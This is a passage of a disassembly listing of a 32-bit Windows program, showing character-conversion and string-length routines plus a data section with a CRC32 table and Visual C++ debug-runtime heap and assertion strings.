XREF: .text:004312A4j push offset dword_49274C call ds:dword_494414 loc_4312BD: ; CODE XREF: .text:004312B0j mov ax, [ebp+8] loc_4312C1: ; CODE XREF: .text:00431217j ; .text:00431254j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4312D0 proc near ; CODE XREF: sub_431000+11Bp ; sub_431000+13Fp ... var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 0FFFFh cmp eax, 0FFFFh jnz short loc_4312EC mov ax, word ptr [ebp+arg_0] jmp loc_431380 ; --------------------------------------------------------------------------- loc_4312EC: ; CODE XREF: sub_4312D0+11j cmp dword_492170, 0 jnz short loc_431326 mov ecx, [ebp+arg_0] and ecx, 0FFFFh cmp ecx, 41h jl short loc_431320 mov edx, [ebp+arg_0] and edx, 0FFFFh cmp edx, 5Ah jg short loc_431320 mov eax, [ebp+arg_0] and eax, 0FFFFh add eax, 20h mov word ptr [ebp+arg_0], ax loc_431320: ; CODE XREF: sub_4312D0+31j ; sub_4312D0+3Fj mov ax, word ptr [ebp+arg_0] jmp short loc_431380 ; --------------------------------------------------------------------------- loc_431326: ; CODE XREF: sub_4312D0+23j mov ecx, [ebp+arg_0] and ecx, 0FFFFh cmp ecx, 100h jge short loc_431350 push 1 mov dx, word ptr [ebp+arg_0] push edx call sub_4316E0 add esp, 8 test eax, eax jnz short loc_431350 mov ax, word ptr [ebp+arg_0] jmp short loc_431380 ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_4312D0+65j ; sub_4312D0+78j push 0 push 1 lea eax, [ebp+var_4] push eax push 1 lea ecx, [ebp+arg_0] push ecx push 100h mov edx, dword_492170 push edx call sub_431390 add esp, 1Ch test eax, eax jnz short loc_43137C mov ax, word ptr [ebp+arg_0] jmp short loc_431380 ; --------------------------------------------------------------------------- loc_43137C: ; CODE XREF: sub_4312D0+A4j mov ax, [ebp+var_4] loc_431380: ; CODE XREF: sub_4312D0+17j ; sub_4312D0+54j ... mov esp, ebp pop ebp retn sub_4312D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431390 proc near ; CODE XREF: sub_4312D0+9Ap var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_433D88 push offset sub_425F84 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFD8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_49240C, 0 jnz short loc_431416 push 0 push 0 push 1 push offset dword_43301C push 100h push 0 call ds:dword_494478 test eax, eax jz short loc_4313E7 mov dword_49240C, 1 jmp short loc_431416 ; --------------------------------------------------------------------------- loc_4313E7: ; CODE XREF: sub_431390+49j push 0 push 0 push 1 push offset dword_433018 push 100h push 0 call ds:dword_494474 test eax, eax jz short loc_43140F mov dword_49240C, 2 jmp short loc_431416 ; --------------------------------------------------------------------------- loc_43140F: ; CODE XREF: sub_431390+71j xor eax, eax jmp loc_431663 ; --------------------------------------------------------------------------- loc_431416: ; CODE XREF: sub_431390+2Dj ; sub_431390+55j ... cmp [ebp+arg_C], 0 jle short loc_43142F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_431680 add esp, 8 mov [ebp+arg_C], eax loc_43142F: ; CODE XREF: sub_431390+8Aj cmp dword_49240C, 1 jnz short loc_43145B mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_494478 jmp loc_431663 ; --------------------------------------------------------------------------- loc_43145B: ; CODE XREF: sub_431390+A6j cmp dword_49240C, 2 jnz loc_431661 cmp [ebp+arg_18], 0 jnz short loc_431477 mov edx, dword_492180 mov [ebp+arg_18], edx loc_431477: ; CODE XREF: sub_431390+DCj push 0 push 0 push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 220h mov edx, [ebp+arg_18] push edx call ds:dword_4943B0 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_4314A6 xor eax, eax jmp loc_431663 ; --------------------------------------------------------------------------- loc_4314A6: ; CODE XREF: sub_431390+10Dj mov [ebp+var_4], 0 mov eax, [ebp+var_20] add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_30], esp mov [ebp+var_18], esp mov eax, [ebp+var_30] mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4314E6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_1C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4314E6: ; CODE XREF: sub_431390+13Dj cmp [ebp+var_1C], 0 jnz short loc_4314F3 xor eax, eax jmp loc_431663 ; --------------------------------------------------------------------------- loc_4314F3: ; CODE XREF: sub_431390+15Aj push 0 push 0 mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 220h mov edx, [ebp+arg_18] push edx call ds:dword_4943B0 test eax, eax jnz short loc_431521 xor eax, eax jmp loc_431663 ; --------------------------------------------------------------------------- loc_431521: ; CODE XREF: sub_431390+188j push 0 push 0 mov eax, [ebp+var_20] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_494474 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_43154B xor eax, eax jmp loc_431663 ; --------------------------------------------------------------------------- loc_43154B: ; CODE XREF: sub_431390+1B2j mov [ebp+var_4], 1 mov eax, [ebp+var_2C] add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43158B ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43158B: ; CODE XREF: sub_431390+1E2j cmp [ebp+var_24], 0 jnz short loc_431598 xor eax, eax jmp loc_431663 ; --------------------------------------------------------------------------- loc_431598: ; CODE XREF: sub_431390+1FFj mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_494474 test eax, eax jnz short loc_4315C1 xor eax, eax jmp loc_431663 ; --------------------------------------------------------------------------- loc_4315C1: ; CODE XREF: sub_431390+228j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_431606 mov eax, [ebp+var_2C] mov [ebp+var_28], eax cmp [ebp+arg_14], 0 jz short loc_431604 mov ecx, [ebp+arg_14] cmp ecx, [ebp+var_2C] jge short loc_4315EA mov edx, [ebp+arg_14] mov [ebp+var_38], edx jmp short loc_4315F0 ; --------------------------------------------------------------------------- loc_4315EA: ; CODE XREF: sub_431390+250j mov eax, [ebp+var_2C] mov [ebp+var_38], eax loc_4315F0: ; CODE XREF: sub_431390+258j mov ecx, [ebp+var_38] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_10] push eax call sub_4191A0 add esp, 0Ch loc_431604: ; CODE XREF: sub_431390+248j jmp short loc_43165C ; --------------------------------------------------------------------------- loc_431606: ; CODE XREF: sub_431390+23Cj cmp [ebp+arg_14], 0 jnz short loc_431633 push 0 push 0 mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_24] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4942D4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_431631 xor eax, eax jmp short loc_431663 ; --------------------------------------------------------------------------- loc_431631: ; CODE XREF: sub_431390+29Bj jmp short loc_43165C ; --------------------------------------------------------------------------- loc_431633: ; CODE XREF: sub_431390+27Aj mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_24] push ecx push 1 mov edx, [ebp+arg_18] push edx call ds:dword_4942D4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43165C xor eax, eax jmp short loc_431663 ; --------------------------------------------------------------------------- loc_43165C: ; CODE XREF: sub_431390:loc_431604j ; sub_431390:loc_431631j ... mov eax, [ebp+var_28] jmp short loc_431663 ; --------------------------------------------------------------------------- loc_431661: ; CODE XREF: sub_431390+D2j xor eax, eax loc_431663: ; CODE XREF: sub_431390+81j ; sub_431390+C6j ... lea esp, [ebp-44h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_431390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431680 proc near ; CODE XREF: sub_431390+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_431692: ; CODE XREF: sub_431680+37j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_4316B9 mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_4316B9 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax jmp short loc_431692 ; --------------------------------------------------------------------------- loc_4316B9: ; CODE XREF: sub_431680+20j ; sub_431680+2Cj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_4316CF mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 jmp short loc_4316D2 ; --------------------------------------------------------------------------- loc_4316CF: ; CODE XREF: sub_431680+43j mov eax, [ebp+arg_4] loc_4316D2: ; CODE XREF: sub_431680+4Dj mov esp, ebp pop ebp retn sub_431680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4316E0 proc near ; CODE XREF: sub_4312D0+6Ep ; .text:0043176Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 0FFFFh cmp eax, 0FFFFh jnz short loc_4316F7 xor eax, eax jmp short loc_431753 ; --------------------------------------------------------------------------- loc_4316F7: ; CODE XREF: sub_4316E0+11j mov ecx, [ebp+arg_0] and ecx, 0FFFFh cmp ecx, 100h jge short loc_431720 mov edx, [ebp+arg_0] and edx, 0FFFFh mov eax, off_442D50 mov cx, [eax+edx*2] mov word ptr [ebp+var_4], cx jmp short loc_431740 ; --------------------------------------------------------------------------- loc_431720: ; CODE XREF: sub_4316E0+26j push 0 push 0 lea edx, [ebp+var_4] push edx push 1 lea eax, [ebp+arg_0] push eax push 1 call sub_42F2F0 add esp, 18h test eax, eax jnz short loc_431740 xor eax, eax jmp short loc_431753 ; --------------------------------------------------------------------------- loc_431740: ; CODE XREF: sub_4316E0+3Ej ; sub_4316E0+5Aj mov eax, [ebp+var_4] and eax, 0FFFFh mov ecx, [ebp+arg_4] and ecx, 0FFFFh and eax, ecx loc_431753: ; CODE XREF: sub_4316E0+15j ; sub_4316E0+5Ej mov esp, ebp pop ebp retn sub_4316E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov ax, [ebp+0Ch] push eax mov cx, [ebp+8] push ecx call sub_4316E0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 1000h _text ends ; Section 2. (virtual address 00032000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00032000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 432000h dd 0 dd 46FDCBFDh, 0 dd 2, 4Bh, 0 dd 47C00h dword_43201C dd 0 ; DATA XREF: sub_40416F+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_432420 dq 9.765625e-4 ; DATA XREF: sub_405084+2BDr ; sub_405084+2D8r ... aClient db 'Client',0 ; DATA XREF: .data:00442C20o align 10h aIgnore db 'Ignore',0 ; DATA XREF: .data:00442C1Co align 4 aCrt db 'CRT',0 ; DATA XREF: .data:00442C18o aNormal_0 db 'Normal',0 ; DATA XREF: .data:00442C14o align 4 aFree db 'Free',0 ; DATA XREF: .data:off_442C10o align 4 aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: sub_416B00:loc_416C6Ao ; sub_416F00:loc_417080o align 10h aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_416B00+11Bo aS_34 db '%s',0 ; DATA XREF: sub_416B00+BCo ; sub_416B00+16Fo ... align 4 aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: sub_416B00:loc_416BB7o align 4 aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_416B00+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_416B00+31o ; sub_416F00+77o ... align 10h a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_416B00+25o ; sub_416F00+6Bo ... align 4 a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_416F00+499o align 10h a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_416F00+445o align 4 aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: sub_416F00:loc_4172E6o align 10h a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: sub_416F00+277o align 4 aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: sub_416F00:loc_417111o db 'REQ',0 align 4 a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_416F00+1B6o ; sub_4174F0+A8o ... align 4 aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: sub_416F00+136o align 4 aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: sub_416F00:loc_416FFFo aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_416F00+DCo a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_4174F0+35Do align 4 a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_4174F0+307o align 4 aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_4174F0+29Co ; sub_417900+112o align 4 aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_4174F0:loc_417714o align 4 aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_4174F0+1E5o ; sub_417BD0+249o align 10h aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_4174F0+17Fo ; sub_417BD0+1ECo align 4 a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_4174F0+10Ao ; sub_417900+C1o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_4174F0:loc_41755Do align 10h aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: sub_417B40+54o align 4 aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_417BD0+31Eo align 4 aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_417BD0+2EBo aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_417BD0+2A2o align 4 aDamaged db 'DAMAGED',0 ; DATA XREF: sub_417BD0:loc_417D88o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_417BD0:loc_417CE2o align 4 a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_417BD0:loc_417CBAo align 4 a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_417BD0:loc_417C92o align 10h a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_417BD0:loc_417C6Ao align 4 a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_417BD0:loc_417C3Fo aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_4181D0+11Bo align 4 a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_4181D0:loc_4181DFo a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: .text:loc_418362o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_418470:loc_4186FCo align 4 aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_418470+250o align 4 aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: sub_418470+1F3o aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_418470+188o aLd db '{%ld} ',0 ; DATA XREF: sub_418470+139o align 4 aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_418470+111o align 4 aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_418470+E0o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_418470:loc_41848Ao aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_418730+ECo a_2x db '%.2X ',0 ; DATA XREF: sub_418730+BFo align 4 aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_418850:loc_418884o aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .text:0041896Do align 10h aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .text:00418945o align 4 aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .text:0041891Bo align 4 aFormatNull db 'format != NULL',0 ; DATA XREF: sub_418D70+45o ; sub_418EF0+45o ... align 4 aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_418D70+24o ; sub_418D70+4Eo ... align 10h aStringNull db 'string != NULL',0 ; DATA XREF: sub_418D70+1Bo ; sub_418EF0+1Bo ... align 10h aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_4192A0+24o ; sub_4192A0+4Eo align 4 aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_4193F0+1Eo ; sub_4193F0+48o align 4 aFclose_c db 'fclose.c',0 ; DATA XREF: sub_419740+1Do ; sub_4197D0+25o align 4 aStreamNull db 'stream != NULL',0 ; DATA XREF: sub_419740+14o ; sub_41B7D0+Do ... align 4 aStrNull db 'str != NULL',0 ; DATA XREF: sub_4197D0+1Co ; sub_419B30+45o ... aFgets_c db 'fgets.c',0 ; DATA XREF: sub_419B30+24o ; sub_419B30+4Eo aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_419C70+95o align 4 aModeNull db 'mode != NULL',0 ; DATA XREF: sub_419C70+67o ; sub_421980+4Fo align 4 aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_419C70+3Do align 10h aFopen_c db 'fopen.c',0 ; DATA XREF: sub_419C70+18o ; sub_419C70+46o ... aFileNull db 'file != NULL',0 ; DATA XREF: sub_419C70+Fo align 4 aStrupr_c db 'strupr.c',0 ; DATA XREF: sub_41A5E0+133o align 4 aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41AD60+1Eo ; sub_41AD60+48o align 10h aMbstowcs_c db 'mbstowcs.c',0 ; DATA XREF: sub_41B0E0+32o align 4 aSNull db 's != NULL',0 ; DATA XREF: sub_41B0E0+29o align 4 aFseek_c db 'fseek.c',0 ; DATA XREF: sub_41B7D0+16o ; sub_41B840+19o dword_432C50 dd 0FFFFFFFFh, 41BAA2h, 41BABDh ; DATA XREF: sub_41B970+5o aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41BC90+16o aAssertionFai_1 db 'Assertion Failed',0 ; DATA XREF: .data:00442D40o align 4 aError db 'Error',0 ; DATA XREF: .data:00442D3Co align 10h aWarning db 'Warning',0 ; DATA XREF: .data:off_442D38o aSDS_0 db '%s(%d) : %s',0 ; DATA XREF: sub_41BF80+1FFo asc_432C94: ; DATA XREF: sub_41BF80:loc_41C156o dw 0Ah unicode 0, <>,0 asc_432C98: ; DATA XREF: sub_41BF80+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41BF80:loc_41C0F5o align 10h aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41BF80+169o align 4 a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: sub_41BF80+149o ; sub_41BF80+21Co ... align 10h aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: sub_41BF80+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41BF80+B6o align 10h aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41BF80+9Co ; sub_426B40+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41C310+2C2o align 10h aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41C310+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: sub_41C310+221o db 'Module: ',0 align 10h aFile_3 db 0Ah ; DATA XREF: sub_41C310+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: sub_41C310+1AAo db 'Line: ',0 asc_432DD0 db 0Ah ; DATA XREF: sub_41C310+173o ; sub_4260B0+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: sub_41C310+153o align 4 dword_432DE4 dd 0 ; DATA XREF: sub_41C310:loc_41C42Ao ; sub_41C310:loc_41C449o ... aForInformation db 0Ah ; DATA XREF: sub_41C310+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 a___ db '...',0 ; DATA XREF: sub_41C310+9Co ; sub_41C310+F4o ... aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41C310+56o ; sub_4260B0+EDo align 4 aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41C310+1Fo align 4 aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41C310+13o align 4 aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: sub_41E810+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_41E810+18o ; sub_41E810+16Eo align 4 byte_432EE8 db 6 ; DATA XREF: sub_41EA90+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_442F68o unicode 0, <(null)>,0 align 4 aNull db '(null)',0 ; DATA XREF: .data:off_442F64o align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_41EA90+122o 